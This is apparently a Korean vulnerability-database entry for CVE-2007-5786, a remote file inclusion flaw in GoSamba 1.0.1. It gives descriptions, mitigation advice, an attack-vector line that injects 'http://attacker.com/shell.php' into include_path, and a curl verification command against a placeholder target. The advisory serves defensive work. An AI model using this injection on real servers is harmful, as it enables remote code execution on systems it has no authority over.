🔍 CVE-2007-5786

7.5
CVSS Score
HIGH
2007-11-01
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

GoSamba 1.0.1의 여러 PHP 파일에서 include_path 파라미터를 통한 원격 파일 포함 취약점입니다. 공격자가 악의적인 URL을 입력하여 서버에서 임의의 PHP 코드를 실행할 수 있으며, HTML_oben.php, inc_freigabe.php, main.php 등 10개 이상의 파일이 영향을 받습니다.

💡 쉬운 설명

웹 프로그램의 include_path에 공격자가 외부 악성 파일 주소를 넣으면 그 파일이 실행되는 취약점입니다. 이를 통해 해킹된 서버에서 원격으로 명령을 실행할 수 있습니다.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in GoSamba 1.0.1 allow remote attackers to execute arbitrary PHP code via a URL in the include_path parameter to (1) HTML_oben.php, (2) inc_freigabe.php, (3) inc_freigabe1.php, or (4) inc_freigabe3.php in include/; (5) inc_group.php; (6) inc_manager.php; (7) inc_newgroup.php; (8) inc_smb_conf.php; (9) inc_user.php; or (10) main.php.

📍 영향받는 시스템

GoSamba 1.0.1 (Samba 관리 웹 인터페이스)

⚔️ 공격 벡터

include_path 파라미터에 http://attacker.com/shell.php와 같은 악성 URL을 주입하여 원격 코드 실행

🛡️ 대응 방법

GoSamba를 최신 버전으로 업그레이드하거나 PHP의 allow_url_include를 비활성화하고 입력값 검증 추가

🔧 검증 코드

공격자 제어 URL이 실행되거나 파일 읽기 시도가 보이면 취약점 확인됨. 실제 악용은 보안팀과 함께 수행

Shell / Script
curl -s 'http://target/include/HTML_oben.php?include_path=http://127.0.0.1/test' | head -20

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP